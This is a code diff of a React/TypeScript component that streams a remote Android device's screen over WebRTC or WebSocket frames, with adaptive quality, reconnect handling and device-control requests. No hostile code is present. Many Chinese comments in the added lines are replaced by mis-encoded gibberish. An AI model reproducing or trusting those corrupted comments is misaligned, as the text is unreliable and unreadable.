stableNetworkStrike = 0 + } else { + weakNetworkStrike = Math.max(0, weakNetworkStrike - 1) + if (lossRate < 0.03 && inboundFps >= 20) { + stableNetworkStrike += 1 + } else { + stableNetworkStrike = Math.max(0, stableNetworkStrike - 1) + } + } + updateWebRtcDebug({ + inboundFps, + lossRate, + weakNetworkStrike, + stableNetworkStrike + }) + + if (weakNetworkStrike >= 3) { + weakNetworkStrike = 0 + stableNetworkStrike = 0 + updateWebRtcDebug({ + weakNetworkStrike, + stableNetworkStrike + }, 'weak_network_trigger') + void maybeDowngradeOrReconnect('weak_network') + return + } + + // Network recovered for a while: try one-level quality upgrade. + if (WEBRTC_AUTO_RECONNECT_ENABLED && stableNetworkStrike >= 8 && profileIndex > 0 && reconnectAttempts === 0) { + stableNetworkStrike = 0 + profileIndex -= 1 + updateWebRtcDebug({ + profileLabel: WEBRTC_PROFILES[profileIndex]?.label || '-', + stableNetworkStrike + }, 'network_recovered_upgrade') + void createAndStartWebRtc(profileIndex, 'network_recovered_upgrade') + } + } catch (error) { + console.debug('WebRTC stats read failed', error) + updateWebRtcDebug({ + lastError: `stats_read_failed:${error instanceof Error ? error.message : String(error)}` + }) + } + }, WEBRTC_STATS_CHECK_INTERVAL_MS) + } + + const createAndStartWebRtc = async (requestedProfileIndex: number, reason: string) => { + if (disposed || startInProgress) return + startInProgress = true + try { + const now = Date.now() + const elapsed = now - lastRestartAt + if (elapsed < WEBRTC_RESTART_COOLDOWN_MS) { + const waitMs = WEBRTC_RESTART_COOLDOWN_MS - elapsed + await new Promise((resolve) => { + restartCooldownTimerId = window.setTimeout(() => { + restartCooldownTimerId = 0 + resolve() + }, waitMs) + }) + if (disposed || videoTransportRef.current !== 'webrtc') return + } + + const nextIndex = Math.max(0, Math.min(WEBRTC_PROFILES.length - 1, requestedProfileIndex)) + const profile = WEBRTC_PROFILES[nextIndex] + profileIndex = nextIndex + updateWebRtcDebug({ + profileLabel: profile.label, + reconnectAttempts, + weakNetworkStrike, + stableNetworkStrike, + lastReason: reason + }, `start:${reason} profile=${profile.label}`) + + lastRestartAt = Date.now() + closeWebRtcSession({ emitStop: false, reason: `local_restart_${reason}` }) + + const peerConnection = new RTCPeerConnection({ + iceServers: buildIceServers(), + bundlePolicy: 'max-bundle', + iceCandidatePoolSize: 6 + }) + webrtcPeerRef.current = peerConnection + pendingRemoteCandidatesRef.current = [] + setVideoTransport('webrtc') + setSrtStatusText(`WebRTC negotiating (${profile.label})...`) + setIsLoading(true) + webrtcConnectedRef.current = false + updateWebRtcDebug({ + transport: 'webrtc', + profileLabel: profile.label, + reconnectAttempts, + weakNetworkStrike, + stableNetworkStrike, + queuedRemoteIce: 0, + connectionState: peerConnection.connectionState, + iceConnectionState: peerConnection.iceConnectionState, + signalingState: peerConnection.signalingState, + lastReason: `negotiating:${reason}`, + lastError: '' + }, `pc_created:${profile.label}`) + armConnectTimeout() + + peerConnection.ontrack = (event: RTCTrackEvent) => { + if (disposed) return + const stream = event.streams[0] || new MediaStream([event.track]) + webrtcRemoteStreamRef.current = stream + + const videoElement = srtVideoRef.current + if (videoElement && videoElement.srcObject !== stream) { + videoElement.srcObject = stream + const playResult = videoElement.play() + if (playResult && typeof playResult.catch === 'function') { + void playResult.catch(() => { + // autoplay may be blocked + }) + } + } + + reconnectAttempts = 0 + weakNetworkStrike = 0 + stableNetworkStrike = 0 + if (disconnectGraceTimerId) { + clearTimeout(disconnectGraceTimerId) + disconnectGraceTimerId = 0 + } + webrtcConnectedRef.current = true + setIsLoading(false) + setSrtStatusText(`WebRTC streaming (${profile.label})`) + updateWebRtcDebug({ + profileLabel: profile.label, + reconnectAttempts, + weakNetworkStrike, + stableNetworkStrike, + connectionState: peerConnection.connectionState, + iceConnectionState: peerConnection.iceConnectionState, + signalingState: peerConnection.signalingState, + lastReason: 'ontrack' + }, `ontrack:${event.track.kind}`) + startStatsLoop() + if (connectTimeoutId) { + clearTimeout(connectTimeoutId) + connectTimeoutId = 0 + } + } + + peerConnection.onicecandidate = (event: RTCPeerConnectionIceEvent) => { + if (disposed) return + if (!event.candidate) return + localIceSent += 1 + updateWebRtcDebug({ + localIceSent, + connectionState: peerConnection.connectionState, + iceConnectionState: peerConnection.iceConnectionState, + signalingState: peerConnection.signalingState + }) + webSocket.emit('webrtc_ice_candidate', { + deviceId, + candidate: event.candidate.candidate, + sdpMid: event.candidate.sdpMid, + sdpMLineIndex: event.candidate.sdpMLineIndex, + timestamp: Date.now() + }) + } + + peerConnection.onconnectionstatechange = () => { + if (disposed) return + const state = peerConnection.connectionState + updateWebRtcDebug({ + connectionState: state, + iceConnectionState: peerConnection.iceConnectionState, + signalingState: peerConnection.signalingState, + reconnectAttempts + }, `pc_state:${state}`) + if (state === 'connected') { + reconnectAttempts = 0 + if (disconnectGraceTimerId) { + clearTimeout(disconnectGraceTimerId) + disconnectGraceTimerId = 0 + } + webrtcConnectedRef.current = true + setIsLoading(false) + setSrtStatusText(`WebRTC connected (${profile.label})`) + updateWebRtcDebug({ + reconnectAttempts + }) + return + } + if (state === 'connecting') { + setSrtStatusText(`WebRTC connecting (${profile.label})...`) + return + } + if (state === 'disconnected') { + setSrtStatusText('WebRTC disconnected, reconnecting...') + if (disconnectGraceTimerId) clearTimeout(disconnectGraceTimerId) + disconnectGraceTimerId = window.setTimeout(() => { + if (disposed) return + void maybeDowngradeOrReconnect('disconnected') + }, WEBRTC_DISCONNECT_GRACE_MS) + return + } + if (state === 'failed') { + void maybeDowngradeOrReconnect('connection_failed') + return + } + if (state === 'closed') { + if (!disposed && !startInProgress) { + void maybeDowngradeOrReconnect('connection_closed') + } + } + } + + peerConnection.oniceconnectionstatechange = () => { + if (disposed) return + updateWebRtcDebug({ + iceConnectionState: peerConnection.iceConnectionState, + connectionState: peerConnection.connectionState, + signalingState: peerConnection.signalingState + }, `ice_state:${peerConnection.iceConnectionState}`) + if (peerConnection.iceConnectionState === 'failed') { + void maybeDowngradeOrReconnect('ice_failed') + } + } + + peerConnection.addTransceiver('video', { direction: 'recvonly' }) + + const offer = await peerConnection.createOffer({ + offerToReceiveVideo: true + }) + await peerConnection.setLocalDescription(offer) + const localOfferSdp = String(offer.sdp || peerConnection.localDescription?.sdp || '') + const compatOffer = buildAndroidCompatOfferSdp(localOfferSdp) + if (!compatOffer.sdp) { + throw new Error('offer_sdp_empty_after_set_local') + } + updateWebRtcDebug({ + signalingState: peerConnection.signalingState + }, 'offer_created') + + webSocket.emit('webrtc_offer', { + deviceId, + type: offer.type, + sdp: compatOffer.sdp, + fps: profile.fps, + maxLongEdge: profile.maxLongEdge, + bitrateKbps: profile.bitrateKbps, + priority: profile.priority, + timestamp: Date.now() + }) + if (compatOffer.changed) { + pushWebRtcDebugEvent('offer_sdp_compat_applied') + } else { + pushWebRtcDebugEvent('offer_sdp_compat_not_needed') + } + updateWebRtcDebug({ + profileLabel: profile.label, + lastReason: `offer_sent:${profile.label}` + }, `offer_sent:${profile.label}`) + } catch (error) { + console.error('Create WebRTC offer failed', error) + updateWebRtcDebug({ + lastError: `offer_create_failed:${error instanceof Error ? error.message : String(error)}`, + lastReason: 'offer_create_failed' + }, 'offer_create_failed') + void maybeDowngradeOrReconnect('offer_create_failed') + } finally { + startInProgress = false + } + } + + const maybeDowngradeOrReconnect = async (reason: string) => { + if (disposed || videoTransportRef.current !== 'webrtc') return + if (!WEBRTC_AUTO_RECONNECT_ENABLED) { + updateWebRtcDebug({ + reconnectAttempts, + lastReason: `adaptive_disabled:${reason}` + }, `adaptive_disabled:${reason}`) + fallbackToWsTransport(`webrtc_${reason}`, true) + return + } + if (adaptiveInProgress) { + updateWebRtcDebug({ + lastReason: `adaptive_skip_busy:${reason}`, + reconnectAttempts + }, `adaptive_skip_busy:${reason}`) + return + } + adaptiveInProgress = true + updateWebRtcDebug({ + lastReason: reason, + reconnectAttempts, + profileLabel: WEBRTC_PROFILES[profileIndex]?.label || '-' + }, `adaptive:${reason}`) + try { + await new Promise((resolve) => { + restartCooldownTimerId = window.setTimeout(() => { + restartCooldownTimerId = 0 + resolve() + }, WEBRTC_ADAPTIVE_RETRY_DELAY_MS) + }) + if (disposed || videoTransportRef.current !== 'webrtc') return + + if (profileIndex < WEBRTC_PROFILES.length - 1) { + profileIndex += 1 + reconnectAttempts = 0 + updateWebRtcDebug({ + reconnectAttempts, + profileLabel: WEBRTC_PROFILES[profileIndex]?.label || '-' + }, `adaptive_downgrade:${WEBRTC_PROFILES[profileIndex]?.label || '-'}`) + await createAndStartWebRtc(profileIndex, `${reason}_downgrade`) + return + } + + if (reconnectAttempts < WEBRTC_MAX_RECONNECT_ATTEMPTS) { + reconnectAttempts += 1 + updateWebRtcDebug({ + reconnectAttempts + }, `adaptive_retry:${reconnectAttempts}`) + await createAndStartWebRtc(profileIndex, `${reason}_retry_${reconnectAttempts}`) + return + } + + updateWebRtcDebug({ + reconnectAttempts, + lastReason: `fallback_ws:${reason}` + }, `adaptive_fallback_ws:${reason}`) + fallbackToWsTransport(`webrtc_${reason}`, true) + } finally { + adaptiveInProgress = false + } + } + + const handleWebRtcState = (payload: any) => { + if (payload?.deviceId !== deviceId) return + const state = typeof payload?.state === 'string' ? payload.state.toLowerCase() : '' + const message = typeof payload?.message === 'string' ? payload.message : 'unknown' + const detailText = formatWebRtcDeviceDetail(payload?.extra?.detail) + const reasonWithDetail = detailText ? `${message} | ${detailText}` : message + setSrtStatusText(`WebRTC device: ${state || 'unknown'} (${message})`) + updateWebRtcDebug({ + lastDeviceState: `${state || 'unknown'}:${message}`, + lastDeviceDetail: detailText, + lastReason: `device_state:${state || 'unknown'}`, + reconnectAttempts + }, detailText + ? `device_state:${state || 'unknown'}:${message} | ${detailText}` + : `device_state:${state || 'unknown'}:${message}` + ) + + const normalizedMessage = reasonWithDetail.toLowerCase() + if ( + normalizedMessage.includes('component_cleanup') || + normalizedMessage.includes('effect_cleanup') + ) { + return + } + + if (normalizedMessage.includes('media_projection_not_ready') && WEBRTC_AUTO_PROJECTION_RECOVERY_ENABLED) { + requestMediaProjectionRefreshFromWeb(message) + scheduleMediaProjectionAutoRetry(message) + } + + if (shouldUseWsScreenshotFallback(message)) { + fallbackToWsTransport(reasonWithDetail, false) + return + } + + if (state === 'running') { + reconnectAttempts = 0 + updateWebRtcDebug({ + reconnectAttempts + }) + return + } + + if (state === 'starting') { + // Device acknowledged offer; extend connection timeout window while waiting answer/candidates. + armConnectTimeout() + return + } + + if (state === 'failed') { + void maybeDowngradeOrReconnect(reasonWithDetail || 'device_failed') + return + } + + if (state === 'stopped') { + // Explicit remote stop should still fallback to screenshot mode. + if (normalizedMessage.includes('remote_stop') || normalizedMessage.includes('controller_release')) { + fallbackToWsTransport(reasonWithDetail, false) + return + } + void maybeDowngradeOrReconnect(reasonWithDetail || 'device_stopped') + } + } + + const handleWebRtcAnswer = async (payload: any) => { + if (payload?.deviceId !== deviceId) return + const sdp = typeof payload?.sdp === 'string' ? payload.sdp : '' + const type = typeof payload?.type === 'string' ? payload.type : 'answer' + if (!sdp) return + + const pc = webrtcPeerRef.current + if (!pc) return + + try { + updateWebRtcDebug({ + lastReason: 'answer_received' + }, 'answer_received') + await pc.setRemoteDescription({ + type: type as RTCSdpType, + sdp + }) + updateWebRtcDebug({ + signalingState: pc.signalingState, + queuedRemoteIce: pendingRemoteCandidatesRef.current.length + }, 'answer_applied') + + if (pendingRemoteCandidatesRef.current.length > 0) { + const queued = [...pendingRemoteCandidatesRef.current] + pendingRemoteCandidatesRef.current = [] + for (const candidate of queued) { + try { + await pc.addIceCandidate(candidate) + remoteIceApplied += 1 + } catch (error) { + console.warn('Apply queued remote candidate failed', error) + updateWebRtcDebug({ + lastError: `apply_queued_candidate_failed:${error instanceof Error ? error.message : String(error)}` + }) + } + } + updateWebRtcDebug({ + remoteIceApplied, + queuedRemoteIce: pendingRemoteCandidatesRef.current.length + }, `queued_candidates_applied:${queued.length}`) + } + } catch (error) { + console.error('Set remote WebRTC answer failed', error) + updateWebRtcDebug({ + lastError: `set_remote_answer_failed:${error instanceof Error ? error.message : String(error)}` + }, 'set_remote_answer_failed') + void maybeDowngradeOrReconnect('set_remote_answer_failed') + } + } + + const handleWebRtcIceCandidate = async (payload: any) => { + if (payload?.deviceId !== deviceId) return + const candidate = typeof payload?.candidate === 'string' ? payload.candidate : '' + if (!candidate) return + remoteIceReceived += 1 + + const iceCandidate: RTCIceCandidateInit = { + candidate, + sdpMid: typeof payload?.sdpMid === 'string' ? payload.sdpMid : undefined, + sdpMLineIndex: Number.isInteger(payload?.sdpMLineIndex) ? payload.sdpMLineIndex : undefined + } + + const pc = webrtcPeerRef.current + if (!pc) return + + if (!pc.remoteDescription) { + pendingRemoteCandidatesRef.current.push(iceCandidate) + updateWebRtcDebug({ + remoteIceReceived, + queuedRemoteIce: pendingRemoteCandidatesRef.current.length + }) + return + } + + try { + await pc.addIceCandidate(iceCandidate) + remoteIceApplied += 1 + updateWebRtcDebug({ + remoteIceReceived, + remoteIceApplied, + queuedRemoteIce: pendingRemoteCandidatesRef.current.length + }) + } catch (error) { + console.warn('Add remote ICE candidate failed', error) + updateWebRtcDebug({ + lastError: `add_remote_candidate_failed:${error instanceof Error ? error.message : String(error)}` + }) + } + } + + const handleWebRtcStop = (payload: any) => { + if (payload?.deviceId !== deviceId) return + const reason = typeof payload?.reason === 'string' ? payload.reason : 'webrtc_remote_stopped' + updateWebRtcDebug({ + lastReason: `remote_stop:${reason}` + }, `remote_stop:${reason}`) + const normalizedReason = reason.toLowerCase() + if ( + normalizedReason.includes('component_cleanup') || + normalizedReason.includes('effect_cleanup') + ) { + return + } + if (normalizedReason.includes('media_projection_not_ready') && WEBRTC_AUTO_PROJECTION_RECOVERY_ENABLED) { + requestMediaProjectionRefreshFromWeb(reason) + scheduleMediaProjectionAutoRetry(reason) + } + if (shouldUseWsScreenshotFallback(reason)) { + fallbackToWsTransport(reason, false) + return + } + void maybeDowngradeOrReconnect(reason) + } + + const handleWebRtcError = (payload: any) => { + if (payload?.deviceId !== deviceId) return + const message = typeof payload?.message === 'string' ? payload.message : 'webrtc_error' + updateWebRtcDebug({ + lastError: message, + lastReason: 'remote_error' + }, `remote_error:${message}`) + const normalizedMessage = message.toLowerCase() + if (normalizedMessage.includes('media_projection_not_ready') && WEBRTC_AUTO_PROJECTION_RECOVERY_ENABLED) { + requestMediaProjectionRefreshFromWeb(message) + scheduleMediaProjectionAutoRetry(message) + } + if (shouldUseWsScreenshotFallback(message)) { + fallbackToWsTransport(message, false) + return + } + if (message === 'no_device_control' || message === 'device_offline') { + fallbackToWsTransport(message, false) + return + } + void maybeDowngradeOrReconnect(message) + } + + webSocket.on('webrtc_state', handleWebRtcState) + webSocket.on('webrtc_answer', handleWebRtcAnswer) + webSocket.on('webrtc_ice_candidate', handleWebRtcIceCandidate) + webSocket.on('webrtc_stop', handleWebRtcStop) + webSocket.on('webrtc_error', handleWebRtcError) + + // Delay initial start slightly to avoid React dev strict-mode double effect causing duplicate offers. + initialStartTimerId = window.setTimeout(() => { + if (disposed) return + if (videoTransportRef.current !== 'webrtc') return + void createAndStartWebRtc(profileIndex, 'initial') + }, 80) + + return () => { + disposed = true + clearRuntimeTimers() + webSocket.off('webrtc_state', handleWebRtcState) + webSocket.off('webrtc_answer', handleWebRtcAnswer) + webSocket.off('webrtc_ice_candidate', handleWebRtcIceCandidate) + webSocket.off('webrtc_stop', handleWebRtcStop) + webSocket.off('webrtc_error', handleWebRtcError) + closeWebRtcSession({ emitStop: false, reason: 'effect_cleanup' }) + } + }, [ + webSocket, + deviceId, + deviceSupportsWebRtc, + videoTransport, + ]) + + useEffect(() => { + if (videoTransport !== 'webrtc') return + const canvas = canvasRef.current + if (!canvas) return + const ctx = canvas.getContext('2d') + if (!ctx) return + ctx.clearRect(0, 0, canvas.width, canvas.height) + }, [videoTransport]) + + useEffect(() => { + if (videoTransport !== 'webrtc') return + const video = srtVideoRef.current as (HTMLVideoElement & { + requestVideoFrameCallback?: (callback: (now: number, metadata: unknown) => void) => number + cancelVideoFrameCallback?: (handle: number) => void + }) | null + + if (!video || typeof video.requestVideoFrameCallback !== 'function') { + return + } + + let callbackHandle = 0 + const onFrame = () => { + const now = Date.now() + fpsFrameTimesRef.current.push(now) + const cutoff = now - 2000 + fpsFrameTimesRef.current = fpsFrameTimesRef.current.filter(t => t > cutoff) + + if (now - lastFpsUpdateRef.current > 500) { + lastFpsUpdateRef.current = now + setDisplayFps(Math.round(fpsFrameTimesRef.current.length / 2)) + } + + callbackHandle = video.requestVideoFrameCallback!(onFrame) + } + + callbackHandle = video.requestVideoFrameCallback(onFrame) + + return () => { + if (callbackHandle && typeof video.cancelVideoFrameCallback === 'function') { + video.cancelVideoFrameCallback(callbackHandle) + } + } + }, [videoTransport]) + + const handleSrtVideoLoadedMetadata = useCallback(() => { + const video = srtVideoRef.current + if (!video) return + if (video.videoWidth > 0 && video.videoHeight > 0) { + const size = { width: video.videoWidth, height: video.videoHeight } + imageSizeRef.current = size + setImageSize(size) + } + setIsLoading(false) + setSrtStatusText('WebRTC playing') + pushWebRtcDebugEvent(`video_metadata:${video.videoWidth}x${video.videoHeight}`) + }, [pushWebRtcDebugEvent]) + + const handleSrtVideoWaiting = useCallback(() => { + if (videoTransportRef.current !== 'webrtc') return + setSrtStatusText('WebRTC buffering') + pushWebRtcDebugEvent('video_waiting') + }, [pushWebRtcDebugEvent]) + + const handleSrtVideoPlaying = useCallback(() => { + if (videoTransportRef.current === 'webrtc') { + setIsLoading(false) + setSrtStatusText('WebRTC playing') + pushWebRtcDebugEvent('video_playing') + } + }, [pushWebRtcDebugEvent]) + + useEffect(() => { + if (videoTransport !== 'webrtc') { + webrtcLowFpsStrikeRef.current = 0 + return + } + if (isLoading || displayFps <= 0) return + + if (displayFps < 8) { + webrtcLowFpsStrikeRef.current += 1 + } else { + webrtcLowFpsStrikeRef.current = 0 + } + + if (webrtcLowFpsStrikeRef.current >= 14) { + webrtcLowFpsStrikeRef.current = 0 + setSrtStatusText('WebRTC low FPS detected, adaptive reconnecting...') + } + }, [videoTransport, isLoading, displayFps]) + + // 鍒囨崲鐢昏川妗d�? const handleSetProfile = useCallback((profileKey: string) => { if (!webSocket) return webSocket.emit('set_quality_profile', { deviceId, profile: profileKey }) setCurrentProfile(profileKey) }, [webSocket, deviceId]) - // 监听屏幕数据的独立useEffect,避免与控制权逻辑混合 + // 鐩戝惉灞忓箷鏁版嵁鐨勭嫭绔媢seEffect锛岄伩鍏嶄笌鎺у埗鏉冮€昏緫娣峰悎 useEffect(() => { if (!webSocket) return const handleScreenData = (data: any) => { + if (videoTransportRef.current === 'webrtc') return if (data.deviceId === deviceId) { - // 帧计数用于质量反馈 + // 甯ц鏁扮敤浜庤川閲忓弽棣? frameCountRef.current++ - // 过滤黑屏帧:Base64长度<4000字符(约3KB JPEG)几乎肯定是黑屏/空白帧 - // 正常480×854 JPEG即使最低质量也>8000字符 + // 杩囨护榛戝睆甯э細Base64闀垮害<4000瀛楃�?�?KB JPEG)鍑犱箮鑲畾鏄粦灞?绌虹櫧甯? + // 姝e�?80�?54 JPEG鍗充娇鏈€浣庤川閲忎�?8000瀛楃�? const dataLen = typeof data.data === 'string' ? data.data.length : 0 - const MIN_VALID_FRAME_LENGTH = 4000 + const MIN_VALID_FRAME_LENGTH = MIN_VALID_BASE64_FRAME_LENGTH if (dataLen > 0 && dataLen < MIN_VALID_FRAME_LENGTH) { - // 黑屏帧:丢弃,保持canvas上一帧内容不变 + // 榛戝睆甯э細涓㈠純锛屼繚鎸乧anvas涓婁竴甯у唴瀹逛笉�? droppedFrameCountRef.current++ if (frameCountRef.current % 30 === 0) { - console.log(`[屏幕数据] 已收到 ${frameCountRef.current} 帧, 丢弃黑屏帧(${dataLen}字符 < ${MIN_VALID_FRAME_LENGTH}), 已丢弃: ${droppedFrameCountRef.current}`) + console.log(`[ScreenData] frame=${frameCountRef.current} dropped_black_frame size=${dataLen} < ${MIN_VALID_FRAME_LENGTH}, totalDropped=${droppedFrameCountRef.current}`) } return } - // 诊断:记录数据到达频率 + // 璇婃柇锛氳褰曟暟鎹埌杈鹃鐜? if (frameCountRef.current % 30 === 0) { - console.log(`[屏幕数据] 已收到 ${frameCountRef.current} 帧, 数据大小: ${dataLen}, 渲染中: ${isRenderingRef.current}, 解码中: ${decodingRef.current}`) + console.log(`[ScreenData] frame=${frameCountRef.current} size=${dataLen}, rendering=${isRenderingRef.current}, decoding=${decodingRef.current}`) } - // 提前将Base64转为Blob,避免渲染循环中阻塞主线程 - // fetch+data URI方式比atob+逐字节复制快得多,且不阻塞主线程 + // 鎻愬墠灏咮ase64杞负Blob锛岄伩鍏嶆覆鏌撳惊鐜腑闃诲涓荤嚎�? + // fetch+data URI鏂瑰紡姣攁tob+閫愬瓧鑺傚鍒跺揩寰楀锛屼笖涓嶉樆濉炰富绾跨�? const format = data?.format ?? 'JPEG' const mimeType = `image/${format.toLowerCase()}` @@ -185,22 +1700,57 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang } } - // 只在首帧时更新loading状态,避免每帧触发重渲染 + // 鍙湪棣栧抚鏃舵洿鏂發oading鐘舵€侊紝閬垮厤姣忓抚瑙﹀彂閲嶆覆�? if (isLoading) setIsLoading(false) } } + const handleScreenDataBin = (...args: any[]) => { + if (videoTransportRef.current === 'webrtc') return + const normalized = normalizeScreenDataBinArgs(args) + if (!normalized || normalized.deviceId !== deviceId) return + + const format = normalized.meta?.format ?? 'JPEG' + const mimeType = `image/${String(format).toLowerCase()}` + const frameBlob = toBinaryFrameBlob(normalized.frame, mimeType) + if (!frameBlob) return + + frameCountRef.current++ + if (frameBlob.size > 0 && frameBlob.size < MIN_VALID_BINARY_FRAME_BYTES) { + droppedFrameCountRef.current++ + return + } + + pendingBlobRef.current = frameBlob + latestFrameRef.current = { + ...(normalized.meta && typeof normalized.meta === 'object' ? normalized.meta : {}), + deviceId: normalized.deviceId, + format, + timestamp: normalized.meta?.timestamp || Date.now(), + data: '__binary_frame__' + } + + if (!isRenderingRef.current) { + isRenderingRef.current = true + renderLatestFrame() + } + + if (isLoading) setIsLoading(false) + } + webSocket.on('screen_data', handleScreenData) + webSocket.on('screen_data_bin', handleScreenDataBin) return () => { webSocket.off('screen_data', handleScreenData) - // 清理 rAF + webSocket.off('screen_data_bin', handleScreenDataBin) + // 娓呯�?rAF if (rafIdRef.current) { cancelAnimationFrame(rafIdRef.current) rafIdRef.current = 0 } isRenderingRef.current = false - // 设备切换或断开时重置锁定尺寸,下次连接重新锁定 + // 璁惧鍒囨崲鎴栨柇寮€鏃堕噸缃攣瀹氬昂瀵革紝涓嬫杩炴帴閲嶆柊閿佸�? lockedCanvasSizeRef.current = null } }, [webSocket, deviceId]) @@ -222,13 +1772,24 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang } } + const trackBinaryFrameTime = (...args: any[]) => { + const normalized = normalizeScreenDataBinArgs(args) + if (!normalized || normalized.deviceId !== deviceId) return + lastFrameTimeRef.current = Date.now() + refreshRequestedRef.current = false + } + webSocket.on('screen_data', trackFrameTime) - return () => { webSocket.off('screen_data', trackFrameTime) } + webSocket.on('screen_data_bin', trackBinaryFrameTime) + return () => { + webSocket.off('screen_data', trackFrameTime) + webSocket.off('screen_data_bin', trackBinaryFrameTime) + } }, [webSocket, deviceId]) // Periodic check for frame timeout useEffect(() => { - if (!webSocket || !deviceId) return + if (!webSocket || !deviceId || videoTransport !== 'ws_binary') return const checkInterval = window.setInterval(() => { const elapsed = Date.now() - lastFrameTimeRef.current @@ -246,28 +1807,28 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang }, 3000) // check every 3 seconds return () => { clearInterval(checkInterval) } - }, [webSocket, deviceId]) + }, [webSocket, deviceId, videoTransport]) - // 控制权管理的独立useEffect,只在必要时申请/释放 + // 鎺у埗鏉冪鐞嗙殑鐙珛useEffect锛屽彧鍦ㄥ繀瑕佹椂鐢宠/閲婃�? useEffect(() => { if (!webSocket || !deviceId) return - // 如果WebSocket实例发生变化,重置控制权状态 + // 濡傛灉WebSocket瀹炰緥鍙戠敓鍙樺寲锛岄噸缃帶鍒舵潈鐘舵�? if (currentWebSocket !== webSocket) { setIsControlRequested(false) setCurrentWebSocket(webSocket) } - // 只在未申请过控制权时申请,且防止重复发送 + // 鍙湪鏈敵璇疯繃鎺у埗鏉冩椂鐢宠锛屼笖闃叉閲嶅鍙戦�? if (!isControlRequested) { const now = Date.now() - // 防止短时间内重复发送请求(2秒内只能发送一次) + // 闃叉鐭椂闂村唴閲嶅鍙戦€佽姹傦紙2绉掑唴鍙兘鍙戦€佷竴娆★級 if (now - lastControlRequestTime < 2000) { - console.log('控制权请求过于频繁,跳过') + console.log('Control request skipped due cooldown') return } - console.log('申请设备控制权:', deviceId) + console.log('[Control] requesting device control', deviceId) setLastControlRequestTime(now) webSocket.emit('client_event', { type: 'REQUEST_DEVICE_CONTROL', @@ -276,23 +1837,23 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang setIsControlRequested(true) } - // 监听控制权响应 + // 鐩戝惉鎺у埗鏉冨搷�? const handleControlResponse = (data: any) => { if (data.deviceId === deviceId) { if (data.success) { - console.log('控制权获取成功:', deviceId) + console.log('[Control] device control granted', deviceId) } else { - console.warn('控制权获取失败:', data.message) - // 如果失败,允许重新申请 + console.warn('[Control] device control denied', data.message) + // 濡傛灉澶辫触锛屽厑璁搁噸鏂扮敵璇? setIsControlRequested(false) } } } - // 监听控制错误,自动重新申请控制权 + // 鐩戝惉鎺у埗閿欒锛岃嚜鍔ㄩ噸鏂扮敵璇锋帶鍒舵�? const handleControlError = (data: any) => { if (data.deviceId === deviceId && data.error === 'NO_PERMISSION') { - console.warn('检测到权限丢失,重新申请控制权:', deviceId) + console.warn('[Control] permission lost, requesting control again', deviceId) setIsControlRequested(false) } } @@ -300,23 +1861,23 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang webSocket.on('device_control_response', handleControlResponse) webSocket.on('control_error', handleControlError) - // 清理函数:只在组件卸载或deviceId变化时释放控制权 + // 娓呯悊鍑芥暟锛氬彧鍦ㄧ粍浠跺嵏杞芥垨deviceId鍙樺寲鏃堕噴鏀炬帶鍒舵�? return () => { webSocket.off('device_control_response', handleControlResponse) webSocket.off('control_error', handleControlError) - // 只有在已申请过控制权时才释放 + // 鍙湁鍦ㄥ凡鐢宠杩囨帶鍒舵潈鏃舵墠閲婃�? if (isControlRequested) { - console.log('释放设备控制权:', deviceId) + console.log('[Control] releasing device control', deviceId) webSocket.emit('client_event', { type: 'RELEASE_DEVICE_CONTROL', data: { deviceId } }) } } - }, [webSocket, deviceId, isControlRequested, currentWebSocket]) // 不包含lastControlRequestTime避免重复执行 + }, [webSocket, deviceId, isControlRequested, currentWebSocket]) // 涓嶅寘鍚玪astControlRequestTime閬垮厤閲嶅鎵ц - // 高性能渲染:createImageBitmap 离屏解码 + 持续 rAF 循环 + // 楂樻€ц兘娓叉煋锛歝reateImageBitmap 绂诲睆瑙g爜 + 鎸佺�?rAF 寰�? const decodingRef = useRef(false) const renderLatestFrame = useCallback(() => { @@ -324,12 +1885,12 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const frameData = latestFrameRef.current const preDecodedBlob = pendingBlobRef.current if (!frameData || !preDecodedBlob) { - // 没有新帧,停止循环,等 handleScreenData 重新启动 + // 娌℃湁鏂板抚锛屽仠姝㈠惊鐜紝绛?handleScreenData 閲嶆柊鍚姩 isRenderingRef.current = false return } - // 取走帧数据和预解码Blob + // 鍙栬蛋甯ф暟鎹拰棰勮В鐮丅lob latestFrameRef.current = null pendingBlobRef.current = null @@ -344,7 +1905,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang return } - // 上一帧还在解码,把数据放回去,下个 rAF 再试 + // 涓婁竴甯ц繕鍦ㄨВ鐮侊紝鎶婃暟鎹斁鍥炲幓锛屼笅�?rAF 鍐嶈�? if (decodingRef.current) { latestFrameRef.current = frameData pendingBlobRef.current = preDecodedBlob @@ -354,7 +1915,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang decodingRef.current = true - // 直接使用预解码的Blob,跳过Base64解码步骤 + // 鐩存帴浣跨敤棰勮В鐮佺殑Blob锛岃烦杩嘊ase64瑙g爜姝ラ�? createImageBitmap(preDecodedBlob) .then(bitmap => { decodingRef.current = false @@ -366,17 +1927,17 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang return } - // canvas尺寸锁定策略(增强版): - // 取历史最大帧尺寸锁定canvas,避免小帧导致画面缩小闪烁 - // 当新帧比锁定尺寸大时,更新锁定尺寸(设备旋转等场景) + // canvas灏哄閿佸畾绛栫暐锛堝寮虹増锛夛細 + // 鍙栧巻鍙叉渶澶у抚灏哄閿佸畾canvas锛岄伩鍏嶅皬甯у鑷寸敾闈㈢缉灏忛棯鐑? + // 褰撴柊甯ф瘮閿佸畾灏哄澶ф椂锛屾洿鏂伴攣瀹氬昂瀵革紙璁惧鏃嬭浆绛夊満鏅�? const locked = lockedCanvasSizeRef.current if (!locked) { - // 首次帧:锁定canvas尺寸 + // 棣栨甯э細閿佸畾canvas灏哄�? lockedCanvasSizeRef.current = { width: bitmap.width, height: bitmap.height } canvas.width = bitmap.width canvas.height = bitmap.height } else { - // 后续帧:只在新帧更大时更新锁定尺寸,防止缩小闪烁 + // 鍚庣画甯э細鍙湪鏂板抚鏇村ぇ鏃舵洿鏂伴攣瀹氬昂瀵革紝闃叉缂╁皬闂儊 const needUpdate = bitmap.width > locked.width || bitmap.height > locked.height if (needUpdate) { const newW = Math.max(locked.width, bitmap.width) @@ -385,16 +1946,16 